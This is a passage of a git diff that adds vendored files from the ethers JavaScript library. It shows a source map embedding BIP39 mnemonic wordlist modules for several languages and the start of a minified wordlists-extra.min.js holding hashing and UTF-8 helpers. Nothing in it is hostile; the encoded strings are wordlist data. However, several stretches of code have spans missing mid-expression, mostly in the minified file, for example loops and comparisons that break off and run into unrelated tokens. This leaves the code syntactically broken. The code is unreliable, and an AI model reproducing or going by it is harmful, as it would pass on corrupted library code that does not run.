FAILED`);\n }\n /* c8 ignore stop */\n this.#words = words;\n }\n return this.#words;\n }\n getWord(index) {\n const words = this.#loadWords();\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return this.#loadWords().indexOf(word);\n }\n}\n//# sourceMappingURL=wordlist-owl.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nconst words = \"0itatkastcenaovo$taouleraeki&chor*teci%enbalodaeladet'!Chn=0Di#%E%^1Resa2Rese3CeT'#0EjKohol0Pu)%0A&sDul#Ekdo)Ke)Ti#Ul|3}aOgan%0FaltI$@tPi,%TmaTronom0LasL{i#Ol0Tobus4Yl:B#}R'?TaUb_U/!U^U+Ur!Xer2A^v#Ambo,An#AtrEp)Ike)KoLohOnzOskevUn{#Usin#Z^Zy2Bl.Bn|})D _D#D'aF{Jar(Kv?LdokLvaN^NkrRzaTikVolZola3D+tL.T'#0Ukot:PartRev&3DrDu+J/JnLaLerLkemLn?N.Nn(N'#NtrumNzZ(2O&2KolivUv!4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sko0ArohOr[Rd(Rz2GrKev:0Oh(OzeR!R*s-RusYt'&0HoTiv(0Iv 3R` 1Edn!I$ M=0Az!_Lidn Lon Otv Roj 0I%I)Ov 0Yv`]0Av IfR*s 1Al Oln Oz'#3D,v ElEn.L.N!:GonL/aL*nNaN^lNil#RanRhanyR|1ElkuHod0Ova0DroGe)%J%Lbl*dL{rhL _LmocLry[Nk'Ran^RzeS_#SkrzeSn?SpoduS)Ter.Ver#3B,%}rDeoh,D.D+LaN?S{Tal aZeZ #0Ezd0L`Us0Aj#AkAs>EvoHk(IvN'#Oup!1Uc|Uk0DaDiv(Doz&kD$voJ@skyJ&JskoLantL[L LnoSk'#Zid]Z'&0Ravo1Ab>A%tAhA)Ba}o+kH!StvaTu+0Ad T*p Tup0Ip4Bav Br!}|D!D,Fot H+d!H~Hod H,d Hub Jasn J{Jm=K]p Kon!L-!Maz!Mez Miz{Mys+tNe/!Nik!Nut P`!Pl! P,v Pu$ Raz R'n!Rv!Sl' SokoS)v Su~Syp!Tas Tes!Tr! Vi~Vol!Vrh_Zdob Zn!0AduBud }op DJ{Ji$ K+p!K*p Lep Mez Mot!Mys+tNe/!Nik!Pl! Poj Ps!Raz S)v Su~Taj Temn Tk~Ujm=Val Ve+tVin Vol!Vrt!Zvon 0Av RusuUd|Yt-1A+#ArmaAtn(IvoOb RojVihYm`]0L@.ManM.Pt!Z`uZdola2At Lt~Lubo#Ot' Ru[0MaMn?0Emn 0Lam!Oum!R!#Umav#0AtoEh#O[OmO$Ozvyk0Ap|ArAt-IjeIz{Ocn Odr!Rzl.Ut|0AkAl(Am@!Ovu0B,z Tav Ub-Ufa+0Lod Omal RavaR( Rud#Rvu1A^An C`]N (NoOv&Y/l Zav(1I/aR! 0B'.Br0Ed~EnkuEs_aOnR!Uk'odYk\";\nconst checksum = \"0x25f44555f4af25b51a711136e1c7d6e50ce9f8917d39d6b1f076b2bb4d2fac1a\";\nlet wordlist = null;\n/**\n * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangCz extends WordlistOwl {\n /**\n * Creates a new instance of the Czech language Wordlist.\n *\n * Using the constructor should be unnecessary, instead use the\n * [[wordlist]] singleton method.\n *\n * @_ignore:\n */\n constructor() { super(\"cz\", words, checksum); }\n /**\n * Returns a singleton instance of a ``LangCz``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangCz();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-cz.js.map","const Base64 = \")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_\";\n/**\n * @_ignore\n */\nexport function decodeBits(width, data) {\n const maxValue = (1 << width) - 1;\n const result = [];\n let accum = 0, bits = 0, flood = 0;\n for (let i = 0; i < data.length; i++) {\n // Accumulate 6 bits of data\n accum = ((accum << 6) | Base64.indexOf(data[i]));\n bits += 6;\n // While we have enough for a word...\n while (bits >= width) {\n // ...read the word\n const value = (accum >> (bits - width));\n accum &= (1 << (bits - width)) - 1;\n bits -= width;\n // A value of 0 indicates we exceeded maxValue, it\n // floods over into the next value\n if (value === 0) {\n flood += maxValue;\n }\n else {\n result.push(value + flood);\n flood = 0;\n }\n }\n }\n return result;\n}\n//# sourceMappingURL=bit-reader.js.map","import { assertArgument } from \"../utils/index.js\";\nimport { decodeBits } from \"./bit-reader.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\n/**\n * @_ignore\n */\nexport function decodeOwlA(data, accents) {\n let words = decodeOwl(data).join(\",\");\n // Inject the accents\n accents.split(/,/g).forEach((accent) => {\n const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);\n assertArgument(match !== null, \"internal error parsing accents\", \"accents\", accents);\n let posOffset = 0;\n const positions = decodeBits(parseInt(match[3]), match[4]);\n const charCode = parseInt(match[2]);\n const regex = new RegExp(`([${match[1]}])`, \"g\");\n words = words.replace(regex, (all, letter) => {\n const rem = --positions[posOffset];\n if (rem === 0) {\n letter = String.fromCharCode(letter.charCodeAt(0), charCode);\n posOffset++;\n }\n return letter;\n });\n });\n return words.split(\",\");\n}\n//# sourceMappingURL=decode-owla.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nimport { decodeOwlA } from \"./decode-owla.js\";\n/**\n * An OWL-A format Wordlist extends the OWL format to add an\n * overlay onto an OWL format Wordlist to support diacritic\n * marks.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on latin-1 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwlA extends WordlistOwl {\n #accent;\n /**\n * Creates a new Wordlist for %%locale%% using the OWLA %%data%%\n * and %%accent%% data and validated against the %%checksum%%.\n */\n constructor(locale, data, accent, checksum) {\n super(locale, data, checksum);\n this.#accent = accent;\n }\n /**\n * The OWLA-encoded accent data.\n */\n get _accent() { return this.#accent; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwlA(this._data, this._accent);\n }\n}\n//# sourceMappingURL=wordlist-owla.js.map","import { WordlistOwlA } from \"./wordlist-owla.js\";\nconst words = \"0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlAnceA+EEl]`E`EstruzI.I<2ErU{U'0Af[nArO)Uc Uf_Ul:BaB^|eH@IleJ Lanz/c.LdeMbuN>Nd-oRb(>RnizR+Scu]S#nSu[Tal]T!@T*Tu%UlZ 3BeBid/=S SoSt@3|oEnNgo2An>OqueUsa2ABi`BoCaCi`DaDegaIn//!oLsaMb-{dNi#N}saiRdeRr SqueTeTinVe{Zal2AvoAzoEchaEveIl=In>IsaOcaOmaOnceO)UjaUs>U#2CeoCleE'EyFan{F.HoIt_L#Rbuj(l(+Sc TacaZ.:Bal=BezaBi`B[CaoDav!D,aErFeI{ImanJaJ.L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A#A^Er Ini$PortunPrim T Ti^1A.{An.Bi&D$n E`#G/eG)`Ifi-Ne?ntQ)T+0C`]MoPo,PyrusRadoxeR-l#ResIss$Iv!Lai!Lic>L#nLyg$eMma@Mp>Nct)lNd NeyR%^Si%$SZz#3Rami@:99AsarE!l#Es%$Ietu@It,O%_t:C(eC$,D+{G$d(I@'Is(L_%rLl$.Mas}Pi@Sa.Tis}Vag V(Y$n 3Ac%fAg*Ali}Anim Cevo*Ci,Clam Col,Cru,Cu]Cyc]Dig Dou,Fai!F#xeForm Fra(Fu.G=+nGi$Gla.Gul>I, Je,Jou La%fLev L+fMar^Me@MiPor,Prie5Che{M/-Mp!N-Nd(Se|S>Ta%fTorTu#U.U`#U#|U%[Y|?5B/BisCheEl#G){In Is<|S S%^3Th?:B]Bo,B!Co~eFariGesRcas?Rd(eT' Ug!nuUm$U,Uva.V/tV$n 1AlpelAnda#E]atEnarioEpt!HemaI_-Ind O!Ru%nUlp,1An-Cab#Ch Cou C!,Da%fDui!Ig['Jo'Lec%fMa(eMb]M_-M(=Na&'Nsib#N&n-Par Q)n-Re(R.ntR+{Rru!RumRvi-Sa?V*Vra.Xtup#3D =Ec#Eg Ff]G#Gn=L_-LiciumMp#Nc eNist!Ph$RopSmi^Tu 1I 3Ci=C#DiumIg[{LdatLe`Litu@Lub#Mb!M?`Mno]N@N.'N[t&No!Rc>R%rS+T%Rfa-Rica&R?n RpriC%#Il]L_tLism/L$n Mbo'Mi}Ngib#PisQu( Rd RifR%[SI$I^Itai!Iv s3AniumBa(Tic/t0A.I[UelU!0I#Op+:Car?Cc(Gab$dG)Ill/tInc!Is<|Lab#LiSe{Ss=S&3C&'Det&Get=Hicu#InardLo-Nd!diN Ng Ni?{Ntou b) {\n return 1;\n }\n return 0;\n }\n // Load all the words\n for (let length = 3; length <= 9; length++) {\n const d = data[length - 3];\n for (let offset = 0; offset < d.length; offset += length) {\n const word = [];\n for (let i = 0; i < length; i++) {\n const k = mapping.indexOf(d[offset + i]);\n word.push(227);\n word.push((k & 0x40) ? 130 : 129);\n word.push((k & 0x3f) + 128);\n }\n wordlist.push(toString(word));\n }\n }\n wordlist.sort(sortJapanese);\n // For some reason kyoku and kiyoku are flipped in node (!!).\n // The order SHOULD be:\n // - kyoku\n // - kiyoku\n // This should ignore \"if\", but that doesn't work here??\n /* c8 ignore start */\n if (hex(wordlist[442]) === KiYoKu && hex(wordlist[443]) === KyoKu) {\n const tmp = wordlist[442];\n wordlist[442] = wordlist[443];\n wordlist[443] = tmp;\n }\n /* c8 ignore stop */\n // Verify the computed list matches the official list\n /* istanbul ignore if */\n const checksum = id(wordlist.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== \"0xcb36b09e6baa935787fd762ce65e80b0c6a8dabdfbc3a7f86ac0e2c4fd111600\") {\n throw new Error(\"BIP39 Wordlist for ja (Japanese) FAILED\");\n }\n /* c8 ignore stop */\n _wordlist = wordlist;\n return wordlist;\n}\nlet wordlist = null;\n/**\n * The [[link-bip39-ja]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangJa extends Wordlist {\n /**\n * Creates a new instance of the Japanese language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langJa]] should suffice.\n *\n * @_ignore:\n */\n constructor() { super(\"ja\"); }\n getWord(index) {\n const words = loadWords();\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return loadWords().indexOf(word);\n }\n split(phrase) {\n //logger.assertNormalize();\n return phrase.split(/(?:\\u3000| )+/g);\n }\n join(words) {\n return words.join(\"\\u3000\");\n }\n /**\n * Returns a singleton instance of a ``LangJa``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangJa();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-ja.js.map","import { id } from \"../hash/index.js\";\nimport { assertArgument, toUtf8String } from \"../utils/index.js\";\nimport { Wordlist } from \"./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Al3AT8JTrAl8MX8MXoCT3SToJU8Cl8Db8MXoDT8HgrATrDboOT8MXoGTOTrATMnGT8LhrAZ8GnvFnGnQXHToGgvAcrHTvAXvLl3HbrAZoMXoHgBlFXLg3HgMnFXrSnHgrSb8JUoHn6HT8LgvITvATrJUoJUoLZrRnvJU8HT8Jb8JXvFX8QT8JXvLToJTrJYrQnGnQXJgrJnoATrJnoJU8ScvJnvMnvMXoLTCTLgrJXLTJlRTvQlLbRnJlQYvLbrMb8LnvLbvFn3RnoLdCVSTGZrLeSTvGXCnLg3MnoLn3MToLlrETvMT8SToAl3MbrDU6GTvMb8LX4LhrPlrLXGXCnSToLf8Rg3STrDb8LTrSTvLTHXMnSb3RYLnMnSgOg6ATFg\",\n \"HUDlGnrQXrJTrHgLnrAcJYMb8DULc8LTvFgGnCk3Mg8JbAnLX4QYvFYHnMXrRUoJnGnvFnRlvFTJlQnoSTrBXHXrLYSUJgLfoMT8Se8DTrHbDb\",\n \"AbDl8SToJU8An3RbAb8ST8DUSTrGnrAgoLbFU6Db8LTrMg8AaHT8Jb8ObDl8SToJU8Pb3RlvFYoJl\"\n];\nconst codes = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*\";\nfunction getHangul(code) {\n if (code >= 40) {\n code = code + 168 - 40;\n }\n else if (code >= 19) {\n code = code + 97 - 19;\n }\n return toUtf8String(new Uint8Array([225, (code >> 6) + 132, (code & 0x3f) + 128]));\n}\nlet _wordlist = null;\nfunction loadWords() {\n if (_wordlist != null) {\n return _wordlist;\n }\n const wordlist = [];\n data.forEach((data, length) => {\n length += 4;\n for (let i = 0; i < data.length; i += length) {\n let word = \"\";\n for (let j = 0; j < length; j++) {\n word += getHangul(codes.indexOf(data[i + j]));\n }\n wordlist.push(word);\n }\n });\n wordlist.sort();\n // Verify the computed list matches the official list\n /* istanbul ignore if */\n const checksum = id(wordlist.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== \"0xf9eddeace9c5d3da9c93cf7d3cd38f6a13ed3affb933259ae865714e8a3ae71a\") {\n throw new Error(\"BIP39 Wordlist for ko (Korean) FAILED\");\n }\n /* c8 ignore stop */\n _wordlist = wordlist;\n return wordlist;\n}\nlet wordlist = null;\n/**\n * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangKo extends Wordlist {\n /**\n * Creates a new instance of the Korean language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langKo]] should suffice.\n *\n * @_ignore:\n */\n constructor() {\n super(\"ko\");\n }\n getWord(index) {\n const words = loadWords();\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return loadWords().indexOf(word);\n }\n /**\n * Returns a singleton instance of a ``LangKo``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangKo();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-ko.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nconst words = \"0torea noica!iosorolotaleratelanena%oiadoencotivomai t ca%a0A]Bagl'Bin#E.Is(Oli!Rasi_Rog#0Cade!C[$Cus#E Roba+U 0Ag'Deb{DomeEgu#Eri!IpeOtt&Ul&1Fabi,Fe|Fis(F-n Oris`O(R~$0AveEn.E_,Ganc'I!It&OnismoR>*Rume Uzzo4AbardaA Bat)Ber#BoBumeCeCol>E|Ertu-OdePari!Pe^ Pogg'P)@Pun Ri,1Ab~AchideAgos+Ald~Anc'Atu-AzzoBit)Chiv'D{Eni,G[ GiSoTef%eZil*0Ciu|Col EpsiEtt>Fal I$O/Pir#P)Sagg'SeSolu Sur@TaT[u T%eT-|0Av>EismoOm>O$TesaTiv&Tor$Tr{Tua,0Sil'Str?Tis+To$moTun$0Anz#E!V[i!Vi(Volge!3IoS(Tos+Ttu U,VaVosa3C]FfaLg'LvaNdaNe_,Nig$Nzi=ReRli=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bf62c2db6ff7620\";\nlet wordlist = null;\n/**\n * The [[link-bip39-it]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangIt extends WordlistOwl {\n /**\n * Creates a new instance of the Italian language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langIt]] should suffice.\n *\n * @_ignore:\n */\n constructor() { super(\"it\", words, checksum); }\n /**\n * Returns a singleton instance of a ``LangIt``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangIt();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-it.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nconst words = \"0arad!ototealirertainrasoent hoandoaR#riareha!aroele'oronul0Aca%AixoAl A%rDuz'El]Er$IsmoO$ Rum S-&T(i&TigoVo[=0F&.Il#P' S?S* So&/Sun$Tr&0Ac#Adu+Al/A[f E End(Er_EuIng'Ir?IvoOl{oRac Revi=RizU&Um0Di$rM-.R>o+TismoT|@Tu 0Ali An%Ar@Ent&Es,I?Is Ul,1Ila1Ar E=Ei%Ulejo:B BosaC&]uCh `C@GagemI+c>~/Se#S)n%Ta)Te=rTidaTomTuc Unil]3B(IjoIr^IsebolLd!eLezaLgaLisc Ndi$Ng&aNz(RimbauRl*d>_Sou_XigaZ(_3CoCu=En&Foc&Furc G|naLhe%Mest[Mo$rOlog@OmboOsf(aPol Rr-$Scoi$Sne$SpoSsex$TolaZ _2Ind#OcoOque 2A$BagemC#CejoChec]Ico.L^LetimL]LoMb{oNdeNecoNi)Rb~h>d>e&R+c]V*oXe?2AncoAsaAvezaEuIgaIl/Inc OaOchu+Onze O$Uxo2C]DismoF LeRacoScaS$Z*a:Bimb Rn{oRpe%R['>)zRv&/SacoScaSeb[S%loS~oT a)Tiv UleUs?U%l V&oV(na3BolaDil]G}]Lebr L~ Nou+N,N%ioRc Rr#R%'oRvejaTimV^2Aco)Al{aAm#Ap^ArmeAticeAveEfeEg^E'oEqueIco%If[In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ed!eGm-$Last+Lh#Lo.M-)Nc`NguimN]No%N.On{oPocaQue%ResRue)Sc S$laTg-$Rje)Tur Ud!eXof}eZ}&3C C~ DaD-$Di#Do,Du$rGm-$G[=Gun=IvaLe$LvagemM<&M-%N?N/rNsu&Nt#P #Rei>*g>+RvoTemb_T|3GiloLhue)Lic}eMetr@Mpat@M~ N&Nc(oNg~ NopseN$ni>-eRiTu#5B(fis)Rp[s>[&Rt'Sp'oS%n$:B`aBle%Bu^C/G `aLh(LoLvezMdioRef>j>+xaTuagemUr*oXativoXis)3Atr&C(Ci=Cl#Dio,IaIm Lef}eLh#Mp(oN-%N,rN.Rm&RnoRr-oSeSou+St#ToXtu+Xugo3A+G`aJoloMbr MidezNgi=N%'oRagemT~ 5Al]C]L( LiceM^Mil/N`Ntu+Pe%R>ci=RneioRqueRr!>$S.UcaUp{aX*a2Ab&/Acej Adu$rAfeg Aje$AmaAnc ApoAs{oAt?Av E*oEm(Epid EvoIagemIboIcicloId-%Ilog@Ind!eIploItur Iunf&Oc Ombe)OvaUnfoUque2B~ CquesaT` T|i&:7V 3Bigo0HaId!eIf|me3Olog@SoTigaUbu0A=InaUfru':C*aDi G o,I=,LaL-%Lid!eLo[sN)gemQu{oRe)Rr(Sc~ Sil]S,u+Z Zio3A=D Ge.Ic~ L{oLhiceLu=Nce=rNdav&N( Nt[Rb&Rd!eRe?Rg}h>m`/RnizRs R%n%SpaSti=T|i&3Adu$AgemAj Atu+Br?D{aDr @ElaGaG-%Gi G| L ejoNcoNhe)NilOle)R!>tudeSi.S$Tr&V{oZ*/5A=rArG&L<%LeibolL)gemLumo,Nt!e5L$Vuz`a::D[zRope3QueRe.Rife3Ng ::Ng#Rp 3BuL?9Mb Olog@5Mbi=\";\nconst checksum = \"0x2219000926df7b50d8aa0a3d495826b988287df4657fbd100e6fe596c8f737ac\";\nlet wordlist = null;\n/**\n * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangPt extends WordlistOwl {\n /**\n * Creates a new instance of the Portuguese language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langPt]] should suffice.\n *\n * @_ignore:\n */\n constructor() { super(\"pt\", words, checksum); }\n /**\n * Returns a singleton instance of a ``LangPt``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangPt();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-pt.js.map","import { id } from \"../hash/index.js\";\nimport { assertArgument, toUtf8String } from \"../utils/index.js\";\nimport { Wordlist } from \"./wordlist.js\";\nconst data = \"}aE#4A=Yv&co#4N#6G=cJ&SM#66|/Z#4t&kn~46#4K~4q%b9=IR#7l,mB#7W_X2*dl}Uo~7s}Uf&Iw#9c&cw~6O&H6&wx&IG%v5=IQ~8a&Pv#47$PR&50%Ko&QM&3l#5f,D9#4L|/H&tQ;v0~6n]nN?\";\nfunction loadWords(locale) {\n if (_wordlist[locale] != null) {\n return _wordlist[locale];\n }\n const wordlist = [];\n let deltaOffset = 0;\n for (let i = 0; i < 2048; i++) {\n const s = style.indexOf(data[i * 3]);\n const bytes = [\n 228 + (s >> 2),\n 128 + codes.indexOf(data[i * 3 + 1]),\n 128 + codes.indexOf(data[i * 3 + 2]),\n ];\n if (locale === \"zh_tw\") {\n const common = s % 4;\n for (let i = common; i < 3; i++) {\n bytes[i] = codes.indexOf(deltaData[deltaOffset++]) + ((i == 0) ? 228 : 128);\n }\n }\n wordlist.push(toUtf8String(new Uint8Array(bytes)));\n }\n // Verify the computed list matches the official list\n const checksum = id(wordlist.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== Checks[locale]) {\n throw new Error(`BIP39 Wordlist for ${locale} (Chinese) FAILED`);\n }\n /* c8 ignore stop */\n _wordlist[locale] = wordlist;\n return wordlist;\n}\nconst wordlists = {};\n/**\n * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for\n * [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangZh extends Wordlist {\n /**\n * Creates a new instance of the Chinese language Wordlist for\n * the %%dialect%%, either ``\"cn\"`` or ``\"tw\"`` for simplified\n * or traditional, respectively.\n *\n * This should be unnecessary most of the time as the exported\n * [[langZhCn]] and [[langZhTw]] should suffice.\n *\n * @_ignore:\n */\n constructor(dialect) { super(\"zh_\" + dialect); }\n getWord(index) {\n const words = loadWords(this.locale);\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return loadWords(this.locale).indexOf(word);\n }\n split(phrase) {\n phrase = phrase.replace(/(?:\\u3000| )+/g, \"\");\n return phrase.split(\"\");\n }\n /**\n * Returns a singleton instance of a ``LangZh`` for %%dialect%%,\n * creating it if this is the first time being called.\n *\n * Use the %%dialect%% ``\"cn\"`` or ``\"tw\"`` for simplified or\n * traditional, respectively.\n */\n static wordlist(dialect) {\n if (wordlists[dialect] == null) {\n wordlists[dialect] = new LangZh(dialect);\n }\n return wordlists[dialect];\n }\n}\n//# sourceMappingURL=lang-zh.js.map"],"names":["words","checksum","wordlist","accents","data","_wordlist","loadWords","codes"],"mappings":"AAAA,SAAS,MAAM,CAAC,CAAC,EAAE;AACnB,IAAI,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC;AACzC,QAAQ,MAAM,IAAI,KAAK,CAAC,CAAC,wBAAwB,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC;AACxD,CAAC;AAKD,SAAS,KAAK,CAAC,CAAC,EAAE,GAAG,OAAO,EAAE;AAC9B,IAAI,IAAI,EAAE,CAAC,YAAY,UAAU,CAAC;AAClC,QAAQ,MAAM,IAAI,KAAK,CAAC,qBAAqB,CAAC,CAAC;AAC/C,IAAI,IAAI,OAAO,CAAC,MAAM,GAAG,CAAC,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC;AACzD,QAAQ,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E,CAAC,CAAC;AACtD,QAAQ,OAAO,MAAM,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;AAChC,KAAK;AACL;AACA;AACA;AACA;AACA;AACA;AACA;AACA,IAAI,OAAO,QAAQ,CAAC,OAAO,EAAE;AAC7B,QAAQ,IAAI,SAAS,CAAC,OAAO,CAAC,IAAI,IAAI,EAAE;AACxC,YAAY,SAAS,CAAC,OAAO,CAAC,GAAG,IAAI,MAAM,CAAC,OAAO,CAAC,CAAC;AACrD,SAAS;AACT,QAAQ,OAAO,SAAS,CAAC,OAAO,CAAC,CAAC;AAClC,KAAK;AACL;;;;","x_google_ignoreList":[0,1,2,8]} \ No newline at end of file diff --git a/node_modules/ethers/dist/wordlists-extra.min.js b/node_modules/ethers/dist/wordlists-extra.min.js new file mode 100644 index 000000000000..8c672272ae13 --- /dev/null +++ b/node_modules/ethers/dist/wordlists-extra.min.js @@ -0,0 +1 @@ +function number(n){if(!Number.isSafeInteger(n)||n<0)throw new Error(`Wrong positive integer: ${n}`)}function bytes(b,...lengths){if(!(b instanceof Uint8Array))throw new Error("Expected Uint8Array");if(lengths.length>0&&!lengths.includes(b.length))throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`)}function exists(instance,checkFinished=true){if(instance.destroyed)throw new Error("Hash instance has been destroyed");if(checkFinished&&instance.finished)throw new Error("Hash#digest() has already been called")}function output(out,instance){bytes(out);const min=instance.outputLen;if(out.lengtha instanceof Uint8Array;const u32=arr=>new Uint32Array(arr.buffer,arr.byteOffset,Math.floor(arr.byteLength/4));const isLE=new Uint8Array(new Uint32Array([287454020]).buffer)[0]===68;if(!isLE)throw new Error("Non little-endian hardware is not supported");function utf8ToBytes(str){if(typeof str!=="string")throw new Error(`utf8ToBytes expected string, got ${typeof str}`);return new Uint8Array((new TextEncoder).encode(str))}function toBytes(data){if(typeof data==="string")data=utf8ToBytes(data);if(!u8a(data))throw new Error(`expected Uint8Array, got ${typeof data}`);return data}class Hash{clone(){return this._cloneInto()}}function wrapConstructor(hashCons){const hashC=msg=>hashCons().update(toBytes(msg)).digest();const tmp=hashCons();hashC.outputLen=tmp.outputLen;hashC.blockLen=tmp.blockLen;hashC.create=()=>hashCons();return hashC}const U32_MASK64=BigInt(2**32-1);const _32n=BigInt(32);function fromBig(n,le=false){if(le)return{h:Number(n&U32_MASK64),l:Number(n>>_32n&U32_MASK64)};return{h:Number(n>>_32n&U32_MASK64)|0,l:Number(n&U32_MASK64)|0}}function split(lst,le=false){let Ah=new Uint32Array(lst.length);let Al=new Uint32Array(lst.length);for(let i=0;ih<>>32-s;const rotlSL=(h,l,s)=>l<>>32-s;const rotlBH=(h,l,s)=>l<>>64-s;const rotlBL=(h,l,s)=>h<>>64-s;const version="6.15.0";function defineProperties(target,values,types){for(let key in values){let value=values[key];Object.defineProperty(target,key,{enumerable:true,value:value,writable:false})}}function stringify(value,seen){if(value==null){return"null"}if(seen==null){seen=new Set}if(typeof value==="object"){if(seen.has(value)){return"[Circular]"}seen.add(value)}if(Array.isArray(value)){return"[ "+value.map(v=>stringify(v,seen)).join(", ")+" ]"}if(value instanceof Uint8Array){const HEX="0123456789abcdef";let result="0x";for(let i=0;i>4];result+=HEX[value[i]&15]}return result}if(typeof value==="object"&&typeof value.toJSON==="function"){return stringify(value.toJSON(),seen)}switch(typeof value){case"boolean":case"number":case"symbol":return value.toString();case"bigint":return BigInt(value).toString();case"string":return JSON.stringify(value);case"object":{const keys=Object.keys(value);keys.sort();return"{ "+keys.map(k=>`${stringify(k,seen)}: ${stringify(value[k],seen)}`).join(", ")+" }"}}return`[ COULD NOT SERIALIZE ]`}function makeError(message,code,info){let shortMessage=message;{const details=[];if(info){if("message"in info||"code"in info||"name"in info){throw new Error(`value will overwrite populated values: ${stringify(info)}`)}for(const key in info){if(key==="shortMessage"){continue}const value=info[key];details.push(key+"="+stringify(value))}}details.push(`code=${code}`);details.push(`version=${version}`);if(details.length){message+=" ("+details.join(", ")+")"}}let error;switch(code){case"INVALID_ARGUMENT":error=new TypeError(message);break;case"NUMERIC_FAULT":case"BUFFER_OVERRUN":error=new RangeError(message);break;default:error=new Error(message)}defineProperties(error,{code:code});if(info){Object.assign(error,info)}if(error.shortMessage==null){defineProperties(error,{shortMessage:shortMessage})}return error}function assert(check,message,code,info){if(!check){throw makeError(message,code,info)}}function assertArgument(check,message,name,value){assert(check,message,"INVALID_ARGUMENT",{argument:name,value:value})}["NFD","NFC","NFKD","NFKC"].reduce((accum,form)=>{try{if("test".normalize(form)!=="test"){throw new Error("bad")}if(form==="NFD"){const check=String.fromCharCode(233).normalize("NFD");const expected=String.fromCharCode(101,769);if(check!==expected){throw new Error("broken")}}accum.push(form)}catch(error){}return accum},[]);function _getBytes(value,name,copy){if(value instanceof Uint8Array){return value}if(typeof value==="string"&&value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)){const result=new Uint8Array((value.length-2)/2);let offset=2;for(let i=0;i>4]+HexCharacters[v&15]}return result}function errorFunc(reason,offset,bytes,output,badCodepoint){assertArgument(false,`invalid codepoint at offset ${offset}; ${reason}`,"bytes",bytes)}function ignoreFunc(reason,offset,bytes,output,badCodepoint){if(reason==="BAD_PREFIX"||reason==="UNEXPECTED_CONTINUE"){let i=0;for(let o=offset+1;o>6!==2){break}i++}return i}if(reason==="OVERRUN"){return bytes.length-offset-1}return 0}function replaceFunc(reason,offset,bytes,output,badCodepoint){if(reason==="OVERLONG"){assertArgument(typeof badCodepoint==="number","invalid bad code point for replacement","badCodepoint",badCodepoint);output.push(badCodepoint);return 0}output.push(65533);return ignoreFunc(reason,offset,bytes)}const Utf8ErrorFuncs=Object.freeze({error:errorFunc,ignore:ignoreFunc,replace:replaceFunc});function getUtf8CodePoints(_bytes,onError){if(onError==null){onError=Utf8ErrorFuncs.error}const bytes=getBytes(_bytes,"bytes");const result=[];let i=0;while(i>7===0){result.push(c);continue}let extraLength=null;let overlongMask=null;if((c&224)===192){extraLength=1;overlongMask=127}else if((c&240)===224){extraLength=2;overlongMask=2047}else 